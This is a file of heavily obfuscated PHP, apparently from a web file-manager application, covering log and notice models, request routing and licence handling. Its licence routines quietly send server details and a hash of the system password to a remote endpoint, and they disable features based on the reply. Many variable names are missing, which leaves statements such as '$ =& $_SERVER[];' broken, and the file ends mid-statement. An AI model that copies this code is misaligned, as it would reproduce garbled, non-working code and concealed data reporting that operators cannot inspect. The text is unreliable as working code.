isset($ߝ[$ƌ[$ת[1763]]]) ? $ߝ[$ƌ[$ת[1763]]] : !1; $Ұ = strpos($, $ת[2426]) === 0 ? LNG($ת[2427]) : LNG($ת[2422]); $ƌ[$ת[32]] = isset($[$ת[32]]) ? $[$ת[32]] : LNG($ת[2422]); $ƌ[$ת[2256]] = isset($[$ת[2256]]) ? $[$ת[2256]] : $ת[12]; $ƌ[$ת[1652]] = isset($금[$]) ? $금[$] : $Ұ; $ƌ[$ת[2139]] = $; $嗍 = json_decode($ƌ[$ת[526]], !0); $ƌ[$ת[2419]] = isset($嗍[$ת[2419]]) ? $嗍[$ת[2419]] : $ת[12]; $ƌ[$ת[2423]] = IpLocation::get($ƌ[$ת[2419]]); if (strpos($, $ת[2198]) === 0 || isset($嗍[$ת[2196]])) { $嗍[$ת[90]] = $Ǯ[$嗍[$ת[193]]]; $嗍[$ת[2212]] = $Ǯ[$嗍[$ת[2196]]]; if ($嗍[$ת[33]] == $ת[620]) { $嗍[$ת[526]][$ת[1234]] = $Ǯ[$嗍[$ת[526]][$ת[1234]]]; $嗍[$ת[526]][$ת[1235]] = $Ǯ[$嗍[$ת[526]][$ת[1235]]]; } if ($嗍[$ת[33]] == $ת[2207]) { $嗍[$ת[526]][$ת[193]] = $Ǯ[$嗍[$ת[526]][$ת[193]]]; } if ($嗍[$ת[33]] == $ת[1930]) { $嗍[$ת[2212]] = $嗍[$ת[90]]; $嗍[$ת[2196]] = $嗍[$ת[2212]][$ת[193]]; $嗍[$ת[90]] = !1; $嗍[$ת[193]] = $ת[12]; } $lj = array($ת[1930], $ת[2194]); if (!in_array($嗍[$ת[33]], $lj)) { if ($嗍[$ת[90]] && $嗍[$ת[90]][$ת[190]] == $ת[191]) { $[] = $ƌ[$ת[475]]; unset($[$٩]); continue; } if ($嗍[$ת[2212]] && $嗍[$ת[2212]][$ת[190]] == $ת[191]) { $[] = $ƌ[$ת[475]]; unset($[$٩]); continue; } } } $ƌ[$ת[526]] = $嗍; unset($ƌ[$ת[2428]]); $[] = $ƌ; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($ބ) { $淣 =& $_SERVER[]; if (count($ބ) == 0) { return; } $ = array($淣[475] => array($淣[7], array_unique($ބ))); $this->where($)->delete(); } public function deviceList($, $󟫐 = 0) { $Č =& $_SERVER[]; $χ = array($Č[1763] => $, $Č[231] => array($Č[1085], $󟫐), $Č[33] => $Č[1904]); $ʪٓ = array(); $ = $this->field($Č[2429])->where($χ)->order($Č[2210])->limit(50)->select(); foreach ($ as $Ƹ => $) { if ($Ƹ > 0 && abs($[$Č[231]] - $[$Ƹ - 1][$Č[231]]) < 5) { continue; } $ʸ = json_decode($[$Č[526]], !0); $[$Č[2419]] = isset($ʸ[$Č[2419]]) ? $ʸ[$Č[2419]] : $Č[12]; unset($ʸ[$Č[2419]]); $ҵ = $this->deviceType($ʸ[$Č[2199]]); if (isset($ʪٓ[$ҵ])) { continue; } $[$Č[2423]] = IpLocation::get($[$Č[2419]]); $[$Č[526]] = $ʸ; $ʪٓ[$ҵ] = $; } return array_values($ʪٓ); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\x2e\156\157\164\151\143\x65\x4c\x69\163\x74"; public $field = array("\x6e\141\x6d\145", "\143\157\x6e\x74\145\x6e\x74", "\x61\165\164\150", "\155\x6f\x64\145", "\x74\151\155\x65", "\164\171\x70\145", "\x6c\x65\x76\x65\x6c", "\x65\156\141\142\x6c\145", "\x73\x6f\x72\x74"); public function listData($ = false, $Ϗƺ = "\163\x6f\x72\164", $Ԅ = false) { return parent::listData($, $Ϗƺ, $Ԅ); } public function add($) { $Ԓ =& $_SERVER[]; $朔 = time(); if ($[$Ԓ[16]] == $Ԓ[2430]) { $朔 = strtotime($[$Ԓ[206]]); } $[$Ԓ[206]] = $朔; return parent::insert($); } public function update($Ӵ, $ӝܡ) { $ =& $_SERVER[]; $ = $this->listData($Ӵ); if (!$) { return !1; } $Ѻ = time(); if ($ӝܡ[$[16]] == $[2430]) { $Ѻ = strtotime($ӝܡ[$[206]]); } $ӝܡ[$[206]] = $Ѻ; return parent::update($Ӵ, $ӝܡ); } public function remove($ƒ) { $ = $this->listData($ƒ); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($ƒ); } public function sort($٢, $ެ) { return parent::update($٢, $ެ); } public function enable($, $ۘ) { return parent::update($, array($_SERVER[][2431] => $ۘ)); } private function initUserOption() { $ӈ =& $_SERVER[]; $this->optionType = $ӈ[2432]; $this->modelType = $ӈ[2433]; $this->field = array($ӈ[2434], $ӈ[32], $ӈ[206], $ӈ[33], $ӈ[2435], $ӈ[817], $ӈ[226]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][475], !0); } public function userNoticeAdd($ڧ) { $ =& $_SERVER[]; $this->initUserOption(); $Ҁ = $this->findByKey($[2434], $ڧ[$[475]]); if ($Ҁ) { return !0; } $ˀ = array($[2434] => $ڧ[$[475]], $[32] => $ڧ[$[32]], $[206] => $ڧ[$[206]], $[33] => isset($ڧ[$[33]]) ? $ڧ[$[33]] : 1, $[2435] => isset($ڧ[$[2435]]) ? $ڧ[$[2435]] : 0, $[817] => 0, $[226] => 0); return parent::insert($ˀ); } public function userNoticeEdit($›, $݊) { $this->initUserOption(); return parent::update($›, $݊); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\x65\155\137\x6f\x70\x74\x69\157\x6e"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\157\x6c\x65", "\162\x6f\x6c\x65\x47\x72\x6f\165\x70", "\162\x65\x67\x69\163\164", "\x65\155\x61\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($ײ) { return "\123\171\x73\x74\145\155\117\160\164\151\157\x6e\137{$ײ}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[457]]; } } } goto bŝ; d廸: function binCheckBigger($, $񸎃) { return $ > $񸎃; } $_SERVER[$_SERVER[ۏԅ][3]] = ("\x38\x35\x32\x37"."\x34\x31")+0;$_ptie="caq1nx5sbhjv8rel0fd3iwgtmuk92ypo647zkdcy2eivq83pz9sloa54hxjgm7b0n1ufrt6wiobu";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($笺, $넞) { $ַ =& $_SERVER[]; if (isset(self::$_methodList[$笺])) { return @call_user_func_array(self::$_methodList[$笺], $넞); } else { if (method_exists($this, $笺)) { return call_user_func_array(array($this, $笺), $넞); } else { think_exception(__CLASS__ . $ַ[4] . $笺 . $ַ[5]); } } } public static function __callStatic($Ǚ, $Эʾ) { if (isset(self::$_methodListStatic[$Ǚ])) { return call_user_func_array(self::$_methodListStatic[$Ǚ], $Эʾ); } else { if (method_exists(self, $Ǚ)) { return call_user_func_array(array(self, $Ǚ), $Эʾ); } else { show_json("{$Ǚ}\50\51\x20\156\x6f\164\40\x65\x78\151\x73\164\73", !1); } } } public static function addMethod($呎ʇ, $) { self::$_methodList[$呎ʇ] = $; } public static function addMethodStatic($뛈, $؂) { self::$_methodListStatic[$뛈] = $؂; } } goto Fμ; D֣޻: if (strlen($znstewkolc) < $_SERVER[][683]) { return; } class Application { private $defaultModule = "\151\x6e\144\145\x78"; private $defaultController = "\x69\156\x64\x65\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($ՐƇ) { $郹 =& $_SERVER[]; $ =& $_SERVER[Ü]; $ = explode($[0], trim($ՐƇ, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $м = $郹[684]; if (!$м) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->uxkv77fc9f13($[1], array($this, $[2])); $м = $郹[685]; } public function appRun($잣) { $݀ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ = explode($[0], $잣); $ܲ = $݀[686]; if (strlen($ܲ) < $݀[687]) { die; } $Џ = strtolower($[0]); $ = $݀[688]; if (strlen($) < $݀[689]) { return; } $ж = $[3]; if ($Џ == $[4]) { $ж = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $잣 = join($[0], $); $잣 = trim($잣, $[0]); } call_user_func(array($[8], $[9]), $ж . $[10], $잣); ActionCall($잣); call_user_func(array($[8], $[9]), $ж . $[11], $잣); $ˇ = $݀[690]; if (!$ˇ) { return; } } private function autorun() { $Ƣ =& $_SERVER[]; $ۅ =& $_SERVER[Ü]; global $config; $Ε = $Ƣ[691]; if (strlen($Ε) < $Ƣ[692]) { die; } if (count($config[$ۅ[12]]) == 0) { return; } foreach ($config[$ۅ[12]] as $ƺ => $) { $this->appRun($); } } private function ovzxb3d587ad() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ˎ = $[4]; $ɔ = $[693]; if (strlen($ɔ) < $[689]) { die; } $փ = $GLOBALS[$[13]][$[14]][0]; if (!$փ || strlen($փ) <= strlen($ˎ)) { return; } if (strtolower(substr($փ, -strlen($ˎ))) != $ˎ) { return; } $ = substr($փ, 0, -strlen($ˎ)); $ə = $[694]; if (!$ə) { return; } $ߍ = array($[4], $); $԰ = $[695]; $ƻγ޴ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($ߍ, $ƻγ޴); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function eidpaced8b54() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ྦ = $_SERVER[$[16]]; $ʺõ = $[696]; if (strlen($ʺõ) < $[687]) { die; } $ = $[17]; $ = $[697]; if (!strstr($ྦ, $)) { return; } $ = strrpos($ྦ, $); $ˑ = substr($ྦ, $ + strlen($)); preg_match_all($[18], $ˑ, $˦); $ˑ = trim($˦[0][0], $[19]); $ = $[698]; while ($ < $[699]) { if ($ >= 0) { break; } $++; } $GLOBALS[$[13]][$[14]] = explode($[19], $ˑ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[700]; while ($ < $[689]) { if ($ >= 0) { break; } $++; } } public function run() { $ȧɽ =& $_SERVER[]; $ =& $_SERVER[Ü]; $this->eidpaced8b54(); $this->ovzxb3d587ad(); $⌂Ǻ = $GLOBALS[$[13]][$[14]]; $é = $GLOBALS[$[13]][$[15]]; define($[20], isset($⌂Ǻ[0]) && $⌂Ǻ[0] ? $⌂Ǻ[0] : $this->defaultModule); define($[21], isset($⌂Ǻ[1]) && $⌂Ǻ[0] ? $⌂Ǻ[1] : $this->defaultController); define($[22], isset($⌂Ǻ[2]) && $⌂Ǻ[0] ? $⌂Ǻ[2] : $this->defaultAction); $ = $ȧɽ[701]; while ($ < $ȧɽ[692]) { if ($ >= 0) { break; } $++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $Һ́ = $ȧɽ[702]; if (!$Һ́) { die; } $_SERVER[$[24]] = strtolower(ACTION); $ = $ȧɽ[703]; if (!$) { die; } $this->autorun(); $䋌 = $ȧɽ[704]; if (strlen($䋌) < $ȧɽ[687]) { return; } if (count($⌂Ǻ) >= 3) { $this->appRun($é); } else { $this->appRun(ACTION); } } private $goqzee6de40a = array(); private $fmaldf286b22 = ''; public function vwrfa50173b6() { $׭ =& $_SERVER[]; $ =& $_SERVER[Ü]; $this->agsme40eaea0(); $this->ibrmddab986e(); $͆ž = $׭[705]; while (strlen($͆ž) < $׭[689]) { if (!$͆ž) { break; } $͆ž++; } $this->tvjx70fd0a85(); $this->siwp7665cc9c(); $this->vzpe2014d4c5(); $this->owic59edf125(); $ꄦ = $׭[706]; while (strlen($ꄦ) < $׭[692]) { if (!$ꄦ) { break; } $ꄦ++; } $this->fdgq492341b8(); $ʏ = $׭[707]; $this->uxkv77fc9f13($[25], array($this, $[26])); $this->uxkv77fc9f13($[27], array($this, $[28])); $χ = $׭[708]; if (!$χ) { die; } $this->uxkv77fc9f13($[29], array($this, $[30])); $this->uxkv77fc9f13($[31], array($this, $[32])); } public function hzgn9232bf02($ÆѢ) { $ㅴӪ =& $_SERVER[]; $禼 =& $_SERVER[Ü]; $݆̣ = Model($禼[33])->get(); $Ƈڲ = array($禼[34], $禼[35], $禼[36], $禼[37], $禼[38], $禼[39], $禼[40], $禼[41], $禼[42], $禼[43], $禼[44], $禼[45], $禼[46], $禼[47], $禼[48], $禼[49], $禼[50], $禼[51], $禼[52], $禼[53], $禼[54], $禼[55], $禼[56], $禼[57], $禼[58], $禼[59], $禼[60], $禼[61], $禼[62], $禼[63], $禼[64], $禼[65], $禼[66], $禼[67], $禼[68], $禼[69], $禼[70], $禼[71], $禼[72], $禼[73], $禼[74], $禼[75], $禼[76], $禼[77], $禼[78], $禼[79], $禼[80], $禼[81], $禼[82], $禼[83], $禼[84], $禼[85]); foreach ($Ƈڲ as $Njƭ) { $Чٿ = $GLOBALS[$禼[86]][$禼[87]][$Njƭ]; if (isset($݆̣[$Njƭ])) { $Чٿ = $݆̣[$Njƭ]; } $ÆѢ[$禼[88]][$禼[89]][$Njƭ] = $Чٿ; } $ݗȱ = $ÆѢ[$禼[88]][$禼[89]][$禼[46]]; $ = $ㅴӪ[709]; if (strlen($) < $ㅴӪ[689]) { return; } unset($ÆѢ[$禼[88]][$禼[90]][$禼[91]]); $˭ = $ㅴӪ[710]; if (!$˭) { return; } unset($ÆѢ[$禼[88]][$禼[90]][$禼[92]]); $ܯ = $ㅴӪ[711]; unset($ÆѢ[$禼[88]][$禼[89]][$禼[46]]); $ڄͲ = $ㅴӪ[712]; if (!$ڄͲ) { return; } unset($ÆѢ[$禼[88]][$禼[89]][$禼[93]]); $ = $ㅴӪ[713]; if (!$) { return; } $ÆѢ[$禼[88]][$禼[89]][$禼[94]] = array($禼[95] => (int) $ݗȱ[$禼[96]], $禼[97] => (int) _get($ݗȱ, $禼[98], 0)); $ = $ㅴӪ[714]; if (strlen($) < $ㅴӪ[692]) { die; } $҈ = substr(md5($禼[99] . get_client_ip() . $݆̣[$禼[100]]), 0, 15); $ = $ㅴӪ[715]; while (strlen($) < $ㅴӪ[687]) { if (!$) { break; } $++; } $ÆѢ[$禼[101]][$禼[102]] = Mcrypt::encode(Session::sign(), $҈, 3600 * 24); $ÆѢ[$禼[101]][$禼[103]] = Action($禼[104])->accessToken(); $Dz = $ㅴӪ[716]; if (!$Dz) { die; } $ÆѢ[$禼[101]][$禼[105]] = md5($_SERVER[$禼[106]] . $݆̣[$禼[100]]); $ÆѢ[$禼[101]][$禼[107]] = base64_encode(serverInfo()); $ÆѢ[$禼[101]][$禼[108]] = $this->fmaldf286b22; $ȏɥ = $ㅴӪ[717]; if (!$ȏɥ) { return; } if ($݆̣[$禼[108]] != $禼[109]) { $ÆѢ[$禼[101]][$禼[110]] = $݆̣[$禼[110]]; $ÆѢ[$禼[101]][$禼[111]] = $݆̣[$禼[111]]; $ = rand_string(10) . $this->fmaldf286b22 . rand_string(5); $ÆѢ[$禼[88]][$禼[112]][$禼[113]] = $this->jdncf0daa323($, $ÆѢ[$禼[101]][$禼[105]]); } if ($this->fmaldf286b22 == $禼[109]) { $ÆѢ[$禼[88]][$禼[89]][$禼[94]][$禼[98]] = 0; } $ÆѢ[$禼[101]][$禼[114]] = $this->versionPluginFilter(); $ÆѢ[$禼[101]][$禼[115]] = _get($this->goqzee6de40a, $禼[116], $禼[6]); $̚ = $ㅴӪ[718]; if (!$̚) { return; } if (KodUser::isRoot() && $this->config[$禼[117]]) { $ÆѢ[$禼[101]][$禼[118]] = WEB_ROOT; } return $ÆѢ; } private function owic59edf125() { $ =& $_SERVER[]; $Ŵе =& $_SERVER[Ü]; $ = $_SERVER[$Ŵе[24]] == $Ŵе[119]; if ($_SERVER[$Ŵе[24]] == $Ŵе[120] && $_GET[$Ŵе[121]] == $Ŵе[122]) { $ = !0; } if ($) { $ = array($Ŵе[108] => $this->fmaldf286b22, $Ŵе[123] => $this->oqdma4d4d1df(), $Ŵе[124] => Model($Ŵе[125])->count()); if ($this->fmaldf286b22 != $Ŵе[109]) { $ۛ = _get($this->goqzee6de40a, $Ŵе[126]); if ($ۛ) { $[$Ŵе[127]] = $ۛ; $[$Ŵе[128]] = strtotime(_get($this->goqzee6de40a, $Ŵе[129])); $[$Ŵе[130]] = _get($this->goqzee6de40a, $Ŵе[116]); } $ = Model($Ŵе[33])->get($Ŵе[131], $Ŵе[6], !0); if (is_string($) && substr($, 0, 1) == $Ŵе[132]) { $ = json_decode_force($); } if (is_array($) && $[$Ŵе[133]] && strstr($[$Ŵе[133]], $Ŵе[134])) { $ = explode($Ŵе[134], $[$Ŵе[133]]); $[$Ŵе[135]] = $[0]; } } $ = $this->butf4e080185(json_encode($), md5($Ŵе[136])); $ = array($Ŵе[137] => $); $䂁 = $[719]; call_user_func(array($Ŵе[138], $Ŵе[139]), $); } if ($this->fmaldf286b22 == $Ŵе[109]) { return; } $觍 = array($Ŵе[140], $Ŵе[141], $Ŵе[142], $Ŵе[143], $Ŵе[144], $Ŵе[145]); $қ = $[720]; if (strlen($қ) < $[687]) { die; } $ = Model($Ŵе[33])->get(); $̝ = $[721]; if (!$̝) { return; } $ = array($Ŵе[146] => $[$Ŵе[34]], $Ŵе[147] => $[$Ŵе[35]], $Ŵе[148] => $Ŵе[6]); $ = $[722]; foreach ($觍 as $ڍ) { if (!isset($[$ڍ]) || !$[$ڍ]) { continue; } $[$ڍ] = $[$ڍ]; $ޱ = $[723]; if (strlen($ޱ) < $[699]) { return; } } call_user_func(array($Ŵе[138], $Ŵе[139]), $); $ = $[724]; if (strlen($) < $[687]) { return; } } private function siwp7665cc9c() { $ =& $_SERVER[]; $ީ =& $_SERVER[Ü]; if ($_SERVER[$ީ[24]] != $ީ[149]) { return; } if (!KodUser::isRoot()) { die; } $ۗˎ = $GLOBALS[$ީ[13]]; if (isset($ۗˎ[$ީ[150]])) { $this->aveg04054a67(); die; } if (isset($ۗˎ[$ީ[151]]) && isset($ۗˎ[$ީ[151]]) == $ީ[122]) { $ۗˎ[$ީ[152]] = Model($ީ[33])->get($ީ[153]); } if (!isset($ۗˎ[$ީ[152]]) || strlen($ۗˎ[$ީ[152]]) != 16) { show_json($ީ[154] . $ۗˎ[$ީ[152]], !1); } $㚾 = Model($ީ[33])->get($ީ[100]); $ = md5($_SERVER[$ީ[106]] . $㚾); $𔉯 = array($ީ[152] => $ۗˎ[$ީ[152]], $ީ[155] => rand_string(16), $ީ[156] => $ީ[136], $ީ[157] => $ީ[158], $ީ[159] => $_SERVER[$ީ[160]], $ީ[161] => $_SERVER[$ީ[162]], $ީ[163] => $_SERVER[$ީ[164]], $ީ[105] => $, $ީ[165] => Model($ީ[33])->get($ީ[131])); if (isset($ۗˎ[$ީ[151]]) && isset($ۗˎ[$ީ[151]]) == $ީ[122]) { $𔉯[$ީ[151]] = md5($𔉯[$ީ[152]] . $ީ[166] . $𔉯[$ީ[155]]); } if ($ۗˎ[$ީ[167]] == $ީ[168]) { $ = $this->butf4e080185($, $ީ[169]); $ = $this->jdncf0daa323(json_encode($𔉯), $ . $ީ[170], 3); $ = $ . $ީ[171] . $_SERVER[$ީ[160]]; $Ψ = $this->bjuec3f47b28($ީ[172] . $ . $ީ[173] . $, -1); show_json($Ψ, !0); } else { if ($ۗˎ[$ީ[167]] == $ީ[174]) { $ = substr(md5($ީ[175] . $), 12, 15) . $ީ[176]; $ = $this->riht7b89a64e(trim($ۗˎ[$ީ[177]]), $, 2); $ڔ = json_decode($, !0); if (!is_array($ڔ) || !is_array($ڔ[$ީ[178]]) || $ڔ[$ީ[152]] != !0) { $ = $ީ[179]; $ͫ = $ڔ[$ީ[178]] ? $ީ[180] . $ڔ[$ީ[178]] : $; show_json($ͫ, !1); } else { $𔉯[$ީ[155]] = $ڔ[$ީ[178]][$ީ[181]]; } } else { $ڔ = $this->bjuec3f47b28($ީ[182], $𔉯, 10); } } if (!is_array($ڔ) || !is_array($ڔ[$ީ[178]]) || $ڔ[$ީ[152]] != !0) { $ = LNG($ީ[183]); $ͫ = $ڔ[$ީ[178]] ? $ީ[180] . $ڔ[$ީ[178]] : $; show_json($ͫ, !1); } $ = $ڔ[$ީ[178]]; $Ϫ = $this->wzcp5224ff0a($[$ީ[184]]); $ܖ = $[725]; if (!$ܖ) { die; } if (!$Ϫ || $Ϫ != $[$ީ[129]]) { $ʹ = array($ީ[185] => Model($ީ[33])->get($ީ[100]), $ީ[186] => $_SERVER[$ީ[106]], $ީ[187] => this_url(), $ީ[161] => $_SERVER[$ީ[162]]); $ = $this->wkij18ea694e(json_encode($ʹ)); $this->bjuec3f47b28($ީ[188] . $); show_json(LNG($ީ[189]), !0); } $ɀӂ = array($ީ[153] => $[$ީ[190]], $ީ[191] => $[$ީ[192]], $ީ[193] => rand_string(16), $ީ[108] => $[$ީ[194]]); if ($𔉯[$ީ[155]]) { $ɀӂ[$ީ[193]] = $𔉯[$ީ[155]]; } $̼ = substr(md5($ɀӂ[$ީ[191]]), 10, 10); $ı = $̼ . $ɀӂ[$ީ[108]] . $ɀӂ[$ީ[193]]; $ = $[726]; while ($ < $[687]) { if ($ >= 0) { break; } $++; } $ɀӂ[$ީ[110]] = strrev(base64_encode($this->butf4e080185($ı, $ީ[195]))); $˗ = rand_string(16); $Ն = $[727]; $冱 = $˗ . $ɀӂ[$ީ[108]] . $this->butf4e080185(md5($ɀӂ[$ީ[153]]), $˗); $ɀӂ[$ީ[111]] = base64_encode(strrev($this->butf4e080185($冱, $ީ[196]))); $ۤ = $[728]; while ($ۤ < $[689]) { if ($ۤ >= 0) { break; } $ۤ++; } if ($[$ީ[197]] && $[$ީ[197]] >= 1) { Model($ީ[33])->setDeep($ީ[198], $ީ[122]); } Model($ީ[33])->set($ɀӂ); $쎪 = md5($_SERVER[$ީ[106]] . strrev($㚾) . $ɀӂ[$ީ[191]]); $Љ = strrev(substr($쎪, 10, 16)); $ = $this->jdncf0daa323(json_encode($), $쎪); $ = array_to_keyvalue(Model($ީ[7])->listData(), $ީ[199]); $ = $[$ީ[200]]; $կ = array(); $̂ = $[729]; if (strlen($̂) < $[687]) { die; } $կ[$Љ] = $; $µ = $[730]; Model($ީ[7])->update($[$ީ[201]], array($ީ[202] => $կ)); $ = $[731]; while ($ < $[687]) { if ($ >= 0) { break; } $++; } $this->goqzee6de40a = $; $ = $[732]; while (strlen($) < $[683]) { if (!$) { break; } $++; } $this->fmaldf286b22 = $ɀӂ[$ީ[108]]; $̩ = $[733]; while (strlen($̩) < $[683]) { if (!$̩) { break; } $̩++; } $this->licenseRegistSuccess(); Cache::set($ީ[203] . md5($㚾 . $ީ[204]), $ީ[6]); $ۉ = $[734]; show_json(LNG($ީ[189]), !0); $몒 = $[735]; while (strlen($몒) < $[699]) { if (!$몒) { break; } $몒++; } } private function licenseRegistSuccess() { $ =& $_SERVER[Ü]; $ޟ = Model($[33])->get(); if ($ޟ[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function aveg04054a67() { $ =& $_SERVER[Ü]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[109], $[110] => $[6], $[111] => $[6])); $ = $_SERVER[][736]; if (!$) { die; } Model($[33])->setDeep($[198], $[206]); $this->goqzee6de40a = array(); $this->fmaldf286b22 = $[109]; } private function agsme40eaea0() { $ɣ٣ =& $_SERVER[]; $Є =& $_SERVER[Ü]; $_SERVER[$Є[162]] = _get($_SERVER, $Є[162], APP_HOST); $this->fmaldf286b22 = $Є[109]; $ = $ɣ٣[737]; $Ʌ = Model($Є[33])->get(); if ($Ʌ[$Є[108]] == $Є[109]) { return; } $ = Model($Є[33])->get($Є[100]); $̟ = $Є[203] . md5($ . $Є[204]); $ = $ɣ٣[738]; if (!$) { die; } $ = Cache::get($̟); if (!is_array($) || !isset($[$Є[207]]) || time() - $[$Є[207]] >= 60) { $ϸ = Model($Є[7])->loadList(); $ɴ = $ϸ[$Є[200]]; $ = md5($_SERVER[$Є[106]] . strrev($) . $Ʌ[$Є[191]]); $霳 = strrev(substr($, 10, 16)); $ = $this->riht7b89a64e($ɴ[$Є[86]][$霳], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->aveg04054a67(); } $ҧ = strtotime($[$Є[129]]); if (time() >= $ҧ) { return $this->aveg04054a67(); } if (!isset($[$Є[207]]) || time() - $[$Є[207]] > 20) { $[$Є[207]] = time(); Cache::set($̟, $); } $this->goqzee6de40a = $; $this->fmaldf286b22 = $Ʌ[$Є[108]]; $ = $ɣ٣[739]; } private function ibrmddab986e() { $ =& $_SERVER[Ü]; $ = $GLOBALS[$[13]]; $Ʊ = $_SERVER[$[24]]; if ($Ʊ == $[208] && $this->fmaldf286b22 == $[109]) { show_json(LNG($[209]), !1, $[210]); } $Ð = array($[211], $[212]); if (in_array($Ʊ, $Ð)) { if ($this->fmaldf286b22 == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $this->oqdma4d4d1df(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function tvjx70fd0a85() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $Կ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $Կ)) { return; } $ = $[217]; $ = $this->mows81ee32e9($, $[218]); $ = $[740]; if (!$) { die; } $͖ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $𯭣 = @file_get_contents($, !1, $͖); header($[223]); $ٰ = $[741]; if (strlen($ٰ) < $[692]) { return; } if ($𯭣 && strstr($𯭣, $[224])) { echo $𯭣; } die; } public function kxuj2681f9f0($) { $扨 =& $_SERVER[]; $ =& $_SERVER[Ü]; if ($this->fmaldf286b22 == $[225]) { return $; } $ = $this->versionPluginList(); $ = $扨[742]; if (!$) { die; } $ə = explode($[226], $this->versionPluginFilter()); $ = array(); $ = $扨[743]; while (strlen($) < $扨[699]) { if (!$) { break; } $++; } foreach ($ as $ҫ => $) { if ($ == $[227] && substr($this->fmaldf286b22, 0, 1) == $[227]) { continue; } if (!in_array($ҫ, $ə)) { $[] = $ҫ; } } foreach ($ as $ҫ) { unset($[$ҫ]); $ϖ = $扨[744]; while ($ϖ < $扨[689]) { if ($ϖ >= 0) { break; } $ϖ++; } } return $; $ = $扨[745]; if (!$) { die; } } private function versionPluginList() { $ہ =& $_SERVER[]; $ =& $_SERVER[Ü]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $𫔛 = $ہ[746]; if (strlen($𫔛) < $ہ[689]) { return; } } private function versionPluginFilter() { $ߔ =& $_SERVER[Ü]; if ($this->fmaldf286b22 == $ߔ[109]) { return $ߔ[6]; } $쾋 = _get($this->goqzee6de40a, $ߔ[245], $ߔ[6]); $ң = _get($this->goqzee6de40a, $ߔ[116], $ߔ[6]); $ӫ = _get($this->goqzee6de40a, $ߔ[246], $ߔ[6]); if ($ң > time() && $ӫ > time()) { $ = explode($ߔ[226], $쾋); $ׇ = array_keys($this->versionPluginList()); $쾋 = array_merge($, $ׇ); $쾋 = implode($ߔ[226], array_filter(array_unique($쾋))); } return $쾋; } private function fdgq492341b8() { $߰ٺ =& $_SERVER[Ü]; if ($this->fmaldf286b22 != $߰ٺ[109]) { $GLOBALS[$߰ٺ[86]][$߰ٺ[90]][$߰ٺ[247]] = $߰ٺ[206]; return; } $GLOBALS[$߰ٺ[86]][$߰ٺ[248]] = $߰ٺ[122]; if (Model($߰ٺ[249])->get($߰ٺ[63]) != $߰ٺ[206]) { Model($߰ٺ[249])->set($߰ٺ[63], $߰ٺ[206]); } } public function mnba94ab81d2() { return $_SERVER[Ü][250]; $ɣ = $_SERVER[][690]; if (!$ɣ) { die; } } private function vzpe2014d4c5() { $̙ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ا۰ = array($[251], $[252], $[253]); $ͼݕ = $[254] . md5($[255]); $„ʀ = $̙[747]; if (strlen($„ʀ) < $̙[699]) { return; } if ($this->fmaldf286b22 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $ا۰)) { return; } if (time() % 4 != 0) { return; } $ǐ畧 = call_user_func(array($[256], $[257]), $ͼݕ); if ($ǐ畧 && time() - $ǐ畧 < intval($[258])) { return; } call_user_func(array($[256], $[139]), $ͼݕ, time()); $Ⱥ = $̙[748]; $֛ = Model($[33])->get($[100]); $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->fmaldf286b22, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $֛), $[156] => $[136], $[159] => $_SERVER[$[160]]); $lj = $this->bjuec3f47b28($[259], $); $٪ = $̙[749]; if (strlen($٪) < $̙[683]) { return; } if (!is_array($lj)) { return; } if ($lj[$[152]] && $lj[$[260]]) { if ($this->wzcp5224ff0a($lj[$[260]]) == $[$[152]]) { return; } } $this->aveg04054a67(); $ʀ = $̙[750]; if (!$ʀ) { return; } if ($this->wzcp5224ff0a($lj[$[260]]) != $[$[152]]) { $ = array($[185] => $֛, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ϝ = $this->wkij18ea694e(json_encode($)); $lj = $this->bjuec3f47b28($[188] . $ϝ); if ($lj && is_array($lj) && isset($lj[$[260]])) { $ = 